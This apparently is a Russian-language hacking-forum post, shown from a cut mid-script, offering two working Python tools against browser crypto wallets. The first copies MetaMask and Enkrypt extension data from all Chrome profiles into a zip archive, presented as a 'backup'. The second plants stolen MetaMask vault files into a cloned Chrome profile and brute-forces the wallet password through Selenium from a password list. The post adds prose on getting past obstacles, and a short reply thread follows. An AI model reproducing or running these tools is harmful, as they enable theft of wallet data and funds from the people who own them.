    [SIZE=5][SIZE=5] return None[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def discover_profiles(chrome_data_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] candidates = os.listdir(chrome_data_path)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] profiles = [p for p in candidates if os.path.isdir(os.path.join(chrome_data_path, p))[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] and (p.startswith("Profile ") or p == "Default")][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return sorted(profiles, key=lambda name: name if name != "Default" else "z") or ["Default"][/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def create_backup():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] user = getpass.getuser()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] chrome_path = f"C:\\Users\\{user}\\AppData\\Local\\Google\\Chrome\\User Data"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] known_extensions = {[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] "Enkrypt": "kkpllkodjeloidieedojogacfhpaihoh",[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] "Metamask": "nkbihfbeogaeaoehlefnkodbefgpgknn"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] }[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] time_marker = datetime.now().strftime("%Y%m%d_%H%M%S")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] scratch_dir = f"temp_{time_marker}"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] os.makedirs(scratch_dir, exist_ok=True)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] located = [][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] profiles = discover_profiles(chrome_path)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] anything_found = False[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for prof in profiles:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] ext_root = os.path.join(chrome_path, prof, "Extensions")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] db_paths = {[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] "Enkrypt": os.path.join(chrome_path, prof, f"IndexedDB\\chrome-extension_{known_extensions['Enkrypt']}_0.indexeddb.leveldb"),[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] "Metamask": os.path.join(chrome_path, prof, f"Local Extension Settings\\{known_extensions['Metamask']}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] }[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if not os.path.exists(ext_root):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] continue[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Scanning profile: {prof}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] anything_found = True[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for name, eid in known_extensions.items():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] extension_dir = os.path.join(ext_root, eid)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] db_path = db_paths[name][/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if not os.path.exists(extension_dir):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] actual_id = locate_extension_by_keyword(name, ext_root)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if actual_id:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] known_extensions[name] = actual_id[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] extension_dir = os.path.join(ext_root, actual_id)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] db_path = db_path.replace(eid, actual_id)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"{name} found in {prof}, ID updated: {actual_id}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] else:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"{name} not present in {prof}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] continue[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if os.path.exists(db_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] located.append(name)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] target = os.path.join(scratch_dir, f"{name}_{prof}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] os.makedirs(target, exist_ok=True)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] shutil.copytree(db_path, os.path.join(target, os.path.basename(db_path)))[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Copied {name} data from {prof}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] else:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"{name} data missing in {prof}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if not anything_found:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("No Chrome profiles detected.")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if located:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] zip_filename = f"extension_{time_marker}.zip"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for dirpath, _, filenames in os.walk(scratch_dir):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for fname in filenames:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] full_path = os.path.join(dirpath, fname)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] arc_path = os.path.relpath(full_path, scratch_dir)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] zf.write(full_path, os.path.join("Extensions", arc_path))[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Archive created: {zip_filename}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] else:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Nothing found to archive.")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] except Exception as exc:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Unexpected error: {exc}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] finally:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if os.path.exists(scratch_dir):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] shutil.rmtree(scratch_dir)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Temporary data cleaned up.")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]if __name__ == "__main__":[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] kill_chrome_processes()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] create_backup()


    Проверяем работает ли:
    [IMG]

    Сначала скрипт определяет имя текущего пользователя Windows и формирует путь к папке данных Chrome (C:\Users<username>\AppData\Local\Google\Chrome\User Data). Затем он находит все профили Chrome, такие как "Default" или "Profile 1", сортируя их так, чтобы "Default" проверялся последним, если другие профили существуют.
    Для каждого профиля код проверяет папку с расширениями, ищет указанные расширения (Enkrypt и Metamask) по их известным ID. Если расширение не найдено по ID, код сканирует папки расширений, открывая файл manifest.json в каждой, и ищет название расширения (например, "Enkrypt") в содержимом манифеста, чтобы определить актуальный ID.
    Когда расширение найдено, код проверяет наличие его данных в соответствующих директориях (IndexedDB для Enkrypt и Local Extension Settings для Metamask). Если данные есть, они копируются в временную папку, созданную с меткой времени (например, temp_20250524_042305). Каждая директория данных сохраняется с именем, включающим название расширения и профиль, чтобы избежать путаницы.
    После обработки всех профилей, если данные расширений найдены, код создаёт ZIP-архив, и помещает в него все скопированные файлы. Если данные не найдены, архив не создаётся, и выводится соответствующее сообщение. В конце временная папка удаляется, даже если произошла ошибка, чтобы не оставлять мусор.


    **** паролей браузерных кошельков
    Пожалуй, начну с MetaMask. Когда я взялся за задачу ****форса паролей MetaMask, то сразу понял, что это будет непросто. Сначала я пытался извлечь данные из файлов .ldb, где MetaMask хранит зашифрованные seed-фразы, но расшифровать их без пароля оказалось невозможно. Тогда я решил пойти другим путём — использовать Selenium для автоматизации ввода паролей прямо в интерфейсе браузера. Но и тут у меня возникли проблемы.
    При попытке использовать мой существующий профиль Chrome, где уже был установлен MetaMask, я получил ошибку что-то вроде: «Нельзя использовать профиль, если сессия уже открыта». Хотя никакой сессии не было! Я попробовал создать новый профиль в driver и заменить в нём файлы .ldb на те, где есть кошелек, но Windows упорно твердила, что файлы заняты, даже когда плагин был отключён, а Chrome закрыт. Ну серьёзно, Windows, ты чё, издеваешься?
    После нескольких неудач я решил скопировать всю папку пользовательских данных Chrome (C:\Users\<username>\AppData\Local\Google\Chrome\User Data) в новое место, заменить файлы в папке Local Extension Settings, и только потом запустить Selenium с этим новым профилем. И, о чудо, это сработало! MetaMask загрузился, и я получил доступ к странице ввода пароля. Оставалось лишь автоматизировать перебор паролей. Но, как водится, без косяков не обошлось: метод .clear() в Selenium не очищал поле ввода пароля. Пришлось использовать комбинацию клавиш Ctrl+A и Backspace через модуль Keys, чтобы очистить поле перед вводом нового пароля. В итоге всё заработало.

    Вот мой код, который я выстрадал, пока Windows и MetaMask надо мной издевались:
    Python
    import os[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import time[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import shutil[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import psutil[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from datetime import datetime[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium import webdriver[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium.webdriver.chrome.options import Options[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium.webdriver.chrome.service import Service[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from webdriver_manager.chrome import ChromeDriverManager[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium.webdriver.common.by import By[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium.webdriver.common.keys import Keys[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from selenium.common.exceptions import NoSuchElementException[/SIZE][/SIZE]


    [SIZE=5][SIZE=5]PASSWORD_FILE = 'passwords.txt'[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]SOURCE_PROFILE_DIR = r"C:\Users\Administrator\AppData\Local\Google\Chrome\User Data"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]PROFILE_DIRECTORY = "Default"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]EXTENSION_ID = "nkbihfbeogaeaoehlefnkodbefgpgknn"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]METAMASK_URL = f"chrome-extension://{EXTENSION_ID}/home.html"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]METAMASK_SOURCE_DIR = r"C:\Users\Administrator\Desktop\metamask"[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def terminate_chrome_processes():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Terminating all Chrome processes...")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for proc in psutil.process_iter(['name']):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if proc.info['name'] and proc.info['name'].lower() in ['chrome.exe', 'chromedriver.exe']:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] proc.terminate()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] proc.wait(timeout=3)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Terminated process: {proc.info['name']}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Error terminating {proc.info['name']}: {e}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def copy_user_data_dir() -> str:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] dest_dir = rf"C:\Program Files (x86)\scoped_dir_{timestamp}"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] extension_relative_path = os.path.join(PROFILE_DIRECTORY, "Local Extension Settings", EXTENSION_ID)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] extension_dest_path = os.path.join(dest_dir, extension_relative_path)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if not os.path.exists(SOURCE_PROFILE_DIR):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] raise FileNotFoundError(f"Source profile directory not found: {SOURCE_PROFILE_DIR}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] shutil.copytree(SOURCE_PROFILE_DIR, dest_dir)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Profile copied to: {dest_dir}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] if os.path.exists(extension_dest_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] shutil.rmtree(extension_dest_path)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Deleted existing extension data at: {extension_dest_path}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] shutil.copytree(METAMASK_SOURCE_DIR, extension_dest_path)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Copied new extension data from {METAMASK_SOURCE_DIR} to {extension_dest_path}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] return dest_dir[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Error copying profile or extension data: {e}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] exit(1)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def setup_driver(user_data_dir: str) -> webdriver.Chrome:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options = Options()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options.add_argument(f"--user-data-dir={user_data_dir}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options.add_argument(f"--profile-directory={PROFILE_DIRECTORY}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options.add_argument("--start-maximized")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options.add_argument("--no-sandbox")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] options.add_argument("--disable-dev-shm-usage")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return driver[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5]def read_passwords() -> list:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open(PASSWORD_FILE, 'r', encoding='utf-8') as file:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [line.strip() for line in file if line.strip()][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except FileNotFoundError:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Password file not found: {PASSWORD_FILE}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] exit(1)[/SIZE][/SIZE]


    [SIZE=5][SIZE=5]def try_passwords(driver, passwords: list):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] driver.get(METAMASK_URL)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] time.sleep(5)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for password in passwords:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] password_input = driver.find_element(By.ID, 'password')[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] password_input.send_keys(Keys.CONTROL, 'a')[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] password_input.send_keys(Keys.BACKSPACE)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] password_input.send_keys(password)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] unlock_button = driver.find_element(By.XPATH, '//button[@data-testid="unlock-submit"]')[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] unlock_button.click()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] time.sleep(3)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] driver.find_element(By.XPATH, '//p[@id="password-helper-text" and contains(text(),"Incorrect password")]')[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Incorrect password: {password}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except NoSuchElementException:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Password found: {password}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Error entering password '{password}': {e}")[/SIZE][/SIZE]


    [SIZE=5][SIZE=5]def main():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] terminate_chrome_processes()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] user_data_dir = copy_user_data_dir()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] driver = setup_driver(user_data_dir)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] passwords = read_passwords()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try_passwords(driver, passwords)[/SIZE][/SIZE]


    [SIZE=5][SIZE=5]main()


    Проверяем работает ли:
    [IMG]
     
    13 июн 2025 в 08:46 Изменено
  2. arimans
    arimans 13 июн 2025 в 08:54 ЛУЧШИЕ ВЕРИФИКАЦИИ - https://lolz.live/threads/4228395/ 2924 5 май 2019
    а почему у тебя информация в теме по кругу повторяется?
     
    1. APT29388 Автор темы
      arimans, исправил, спасибки
Загрузка...
Top